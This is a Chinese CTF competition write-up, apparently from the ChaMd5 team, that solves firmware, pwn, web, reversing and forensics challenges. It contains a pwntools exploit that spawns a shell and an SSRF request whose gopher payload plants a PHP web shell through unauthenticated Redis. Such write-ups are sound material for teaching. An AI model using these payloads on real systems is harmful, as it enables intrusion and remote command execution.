招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
admin@chamd5.org(带上简历和想加入的小组
文件头被修改了
修改hs9s为hsqs即可binwalk解包
根据web中的信息知道是totolink
根据这篇文章
https://github.com/hurricane618/my\_cves/blob/master/router/totolink/A720R\_leak\_config\_file.md
通过apmib_decode来提取配置文件就可以找到用户名和密码 https://github.com/H4lo/apmibConfigFileDecode
得到密码:H3r0s1mpl3
md5(H3r0s1mpl3)= 0e327444a0ef9a1819c341f396d97b18
存在一定混淆,ida没法在main函数f5. 根据汇编分析可知明面上有5个功能函数,实则有第六个,会修改flt_8105300段为可执行。
login函数简单的换位加密,直接解密得到passwd:ozrrvnqc
decrypt函数有个判断:
只要满足[ebp-0x20]为0就会进入后门函数
decrypt接收字符的地址为ebp-0x34,限制20个字符。
rot函数进行解密,遇到0才停止,利用其可以将ebp-0x20的字符置0进入后门函数。
int转为long double再转为float然后变成shellcode。 直接爆破可以发现v3的后两个字节可以任意控制,第三个字节只能在0-0x35之间,刚好可以构造push jmp和pop jmp
利用残留的寄存器值实现read的调用,然后写入shellcode即可。
Exp:
from pwn import * p = process('./main') context.arch = 'x86' p.recvuntil('@:') p.sendline('1') p.recvuntil('ame:') p.sendline('user') p.recvuntil('ord:') p.sendline('ozrrvnqc') p.recvuntil('@:') p.sendline('6') p.recvuntil('@:') p.sendline('3') p.recvuntil('set:') p.sendline('10') p.recvuntil('pt: ') p.sendline('k'*20) push_eax = 0x5b597483 pop_eax = 0x5b597a33 push_ebx = 0x5b597603 pop_ebx = 0x5b597ba3 push_ecx = 0x5b59749b pop_ecx = 0x5b597a3b push_edx=0x5b59754e pop_edx = 0x5b597aee int_80 = 0x5dde8fe0 p.sendline(str(push_eax)) p.sendline(str(push_ebx)) p.sendline(str(push_ecx)) p.sendline(str(push_edx)) p.sendline(str(pop_eax)) p.sendline(str(pop_ebx)) p.sendline(str(pop_edx)) p.sendline(str(pop_ecx)) p.sendline(str(int_80)) p.sendline('1') p.sendline(b'a'*0x22+asm(shellcraft.sh())) p.interactive() 爆破脚本: #include<stdio.h> #include<string.h> int main() { long long a; long double v11; int v4; //FILE* fp = fopen("shell.txt", "w"); float v2; float v5; float v3; for (int i = 0x10000; i < 0x100000000 - 1; i++) { v4 = i; v11 = (long double)v4 / (long double)0xb4; v2 = v11; v5 = v2; v3 = v11; if (*((unsigned char*)&v5 + 3) <= 0x4a) { continue; } if((*(int *)&v3)%0x1000000==0x01eb53&&v3>0){ printf("%#x %#x %llf\n", v4,*(int *)&v3, v11); break; //fprintf(fp, "%#x %#x %llf\n", v4, *(int*)&v3, v11); } //if (i % 0x10000 == 0)fflush(fp); } //fclose(fp); }
过滤反斜杠没对
访问7l8g
flag{Nxjyi4nnxpRmT4Wylk0DBTK9Qv5jZNse}
文件读取/look?file=
/root/.bash_history
flag{7PfNDP1ZOi9e0MmU46AQiP0u90OhsjPT}
有一个aaabbb.php,因该是bot
可以尝试用meta跳转。
那个bot meta没反应,link也没反应,但是直接用payload访问
webhook是能收到请求的
我不太明白她bot的逻辑是什么。 如果domain是127.0.0.1,报文最后就会反射给你他的回显。
如果是靶机地址的话就没有:
不会是个假XSS吧,实际上是SSRF利用。。 file:///读文件aaabbb.php
<?phperror_reporting(0);// error_reporting(E_ALL & ~E_WARNING);// highlight_file(__FILE__);$url=$_POST['data'];$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);?>
可能是打 dict://127.0.0.1:6379/info
有redis未授权,看来是打gopher redis了。
POST /aaabbb.php HTTP/1.1 Host: web-24ddad8d15.challenge.xctf.org.cn Content-Length: 433 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://web-05574678fa.challenge.xctf.org.cn Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://web-05574678fa.challenge.xctf.org.cn/aaabbb.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close data=gopher%3a//127.0.0.1%3a6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
拿到附件之后,有个upx壳,用工具咋脱都不太好使,有个l_info corrupted报错
文件头信息损坏了,盲猜修改了upx的特征,010打开看一手
魔改直接改回去,然后工具直接脱了,拉进ida一看,看不明白,动调继续分析越分析越懵逼
动调之后发现控制流一直卡在这儿,硬过的话控制流直接飞了,卡了很久,实在没思路,拿着下图这句话pyi-bootloader-ignore-signals直接百度了,百度一下,思路直接打开了
我说为啥叫packpy,直接解包就好了
直接把主要逻辑的pyc找个在线网站反编译一下就好了
import base58 import zlib import marshal try: scrambled_code_string = b'X1XehTQeZCsb4WSLBJBYZMjovD1x1E5wjTHh2w3j8dDxbscVa6HLEBSUTPEMsAcerwYASTaXFsCmWb1RxBfwBd6RmyePv3AevTDUiFAvV1GB94eURvtdrpYez7dF1egrwVz3EcQjHxXrpLXs2APE4MS93sMsgMgDrTFCNwTkPba31Aa2FeCSMu151LvEpwiPq5hvaZQPaY2s4pBpH16gGDoVb9MEvLn5J4cP23rEfV7EzNXMgqLUKF82mH1v7yjVCtYQhR8RprKCCtD3bekHjBH2AwES4QythgjVetUNDRpN5gfeJ99UYbZn1oRQHVmiu1sLjpq2mMm8tTuiZgfMfsktf5Suz2w8DgRX4qBKQijnuU4Jou9hduLeudXkZ85oWx9SU7MCE6gjsvy1u57VYw33vckJU6XGGZgZvSqKGR5oQKJf8MPNZi1dF8yF9MkwDdEq59jFsRUJDv7kNwig8XiuBXvmtJPV963thXCFQWQe8XGSu7kJqeRaBX1pkkQ4goJpgTLDHR1LW7bGcZ7m13KzW5mVmJHax81XLis774FjwWpApmTVuiGC2TQr2RcyUTkhGgC8R4bQiXgCsqZMoWyafcSmjdZsHmE6WgNAqPQmEg9FyjpK5f2XC1DkzuyHan5YceeEDMxKUJgJrmNcdGxB7281EyeriyuWNJVH2rVNhio6yoG' exec(marshal.loads(zlib.decompress(base58.b58decode(scrambled_code_string)))) finally: pass return None
还有一段base58,最后exec是执行,那就直接解码之后看看
3 0 LOAD_CONST 0 (0) 2 LOAD_CONST 1 (None) 4 IMPORT_NAME 0 (random) 6 STORE_NAME 0 (random) 5 8 LOAD_CONST 2 (b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff') 10 STORE_NAME 1 (encdata) 12 12 LOAD_CONST 3 (<code object generate_key at 0x000001906F646340, file "run.py", line 5>) 14 LOAD_CONST 4 ('generate_key') 16 MAKE_FUNCTION 0 18 STORE_NAME 2 (generate_key) 19 20 LOAD_CONST 5 (<code object encrypt at 0x000001906F644F50, file "run.py", line 12>) 22 LOAD_CONST 6 ('encrypt') 24 MAKE_FUNCTION 0 26 STORE_NAME 3 (encrypt) 20 28 SETUP_FINALLY 58 (to 146) 21 30 LOAD_NAME 4 (input) 32 LOAD_CONST 7 ('input your flag:') 34 CALL_FUNCTION 1 36 STORE_NAME 5 (flag) 22 38 LOAD_NAME 2 (generate_key) 40 LOAD_NAME 6 (len) 42 LOAD_NAME 5 (flag) 44 CALL_FUNCTION 1 46 CALL_FUNCTION 1 48 STORE_NAME 7 (key) 23 50 LOAD_NAME 5 (flag) 52 LOAD_METHOD 8 (encode) 54 CALL_METHOD 0 56 STORE_NAME 9 (data) 25 58 LOAD_NAME 3 (encrypt) 60 LOAD_NAME 9 (data) 62 LOAD_NAME 7 (key) 64 CALL_FUNCTION 2 66 STORE_NAME 10 (encrypted_data) 26 68 LOAD_NAME 10 (encrypted_data) 70 LOAD_NAME 1 (encdata) 72 COMPARE_OP 2 (==) 74 POP_JUMP_IF_FALSE 84 (to 168) 27 76 LOAD_NAME 11 (print) 78 LOAD_CONST 8 ('good') 80 CALL_FUNCTION 1 82 POP_TOP 84 POP_BLOCK 86 JUMP_FORWARD 12 (to 112) 28 88 POP_TOP 90 POP_TOP 92 POP_TOP 94 POP_EXCEPT 96 JUMP_FORWARD 2 (to 102) 98 <88> 100 LOAD_CONST 1 (None) >> 102 RETURN_VALUE Disassembly of <code object generate_key at 0x000001906F646340, file "run.py", line 5>: 8 0 LOAD_GLOBAL 0 (list) 2 LOAD_GLOBAL 1 (range) 4 LOAD_CONST 1 (256) 6 CALL_FUNCTION 1 8 CALL_FUNCTION 1 10 STORE_FAST 1 (key) 9 12 LOAD_GLOBAL 2 (random) 14 LOAD_METHOD 3 (seed) 16 LOAD_FAST 0 (seed_value) 18 CALL_METHOD 1 20 POP_TOP 10 22 LOAD_GLOBAL 2 (random) 24 LOAD_METHOD 4 (shuffle) 26 LOAD_FAST 1 (key) 28 CALL_METHOD 1 30 POP_TOP 32 LOAD_GLOBAL 5 (bytes) 34 LOAD_FAST 1 (key) 36 CALL_FUNCTION 1 38 RETURN_VALUE Disassembly of <code object encrypt at 0x000001906F644F50, file "run.py", line 12>: 15 0 LOAD_GLOBAL 0 (bytearray) 2 CALL_FUNCTION 0 4 STORE_FAST 2 (encrypted) 16 6 LOAD_FAST 0 (data) 8 GET_ITER 10 FOR_ITER 22 (to 56) 12 STORE_FAST 3 (byte) 17 14 LOAD_FAST 2 (encrypted) 16 LOAD_METHOD 1 (append) 18 LOAD_FAST 1 (key) >> 20 LOAD_FAST 3 (byte) 22 BINARY_SUBSCR 24 LOAD_CONST 1 (95) 26 BINARY_XOR 28 CALL_METHOD 1 30 POP_TOP 32 JUMP_ABSOLUTE 10 (to 20) 34 LOAD_GLOBAL 2 (bytes) 36 LOAD_FAST 2 (encrypted) 38 CALL_FUNCTION 1 40 RETURN_VALUE
汇编出来了,直接逆 Exp:
import random def generate_key(seed_value): key = list(range(256)) random.seed(seed_value) random.shuffle(key) return bytes(key) def decrypt(encrypted_data, key): decrypted = bytearray() for byte in encrypted_data: decrypted.append(key.index(byte ^ 95)) return bytes(decrypted).decode() encdata = b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff' flag_length = len(encdata) key = generate_key(flag_length) flag = decrypt(encdata, key) print(flag)
观察原图发现,很明显右下角的校正标第一行是空白的,结合题目两极反转黑白不变,应该是反色处理。
同时左下角的定位符是完整的,而且定位符周围的一圈应该是空白的,所以推测被处理过的部分应该在这中间。
再次看题目的hint,奇变偶不变,横变竖不变,说明可能是间隔着反色的,因为不会写脚本所以用ppt手动拼图试一下,毕竟有自动对齐很好用。 右边划线的部分是推测反色的行数。
https://fontmeme.com/zh/invert-colors/ 随便找了个在线颜色反转工具 https://f.ws59.cn/f/e932craxy8g 过程中的图片
flag{R3Ver5e_P014r17y}
USB传输PNG文件,提取出来
Bash tshark -r attach.pcapng -T fields -e usb.capdata > data
然后去掉00这些没用的字符,逐个包拼接出来
然后Steganography解密就好了
流量导出三个exe发现是相同的,运行之后自动解压出补丁检测.exe和补丁修复.exe,是python打包的,没有反编译出来,但是查看补丁修复.exe的ascii可以看到大部分字符:
加上猜测,应该是对后面流量包里的data传参内容进行AES_CBC解密:
密码是补丁检测.exe的32位md5,偏移在winhex能找到:
- END -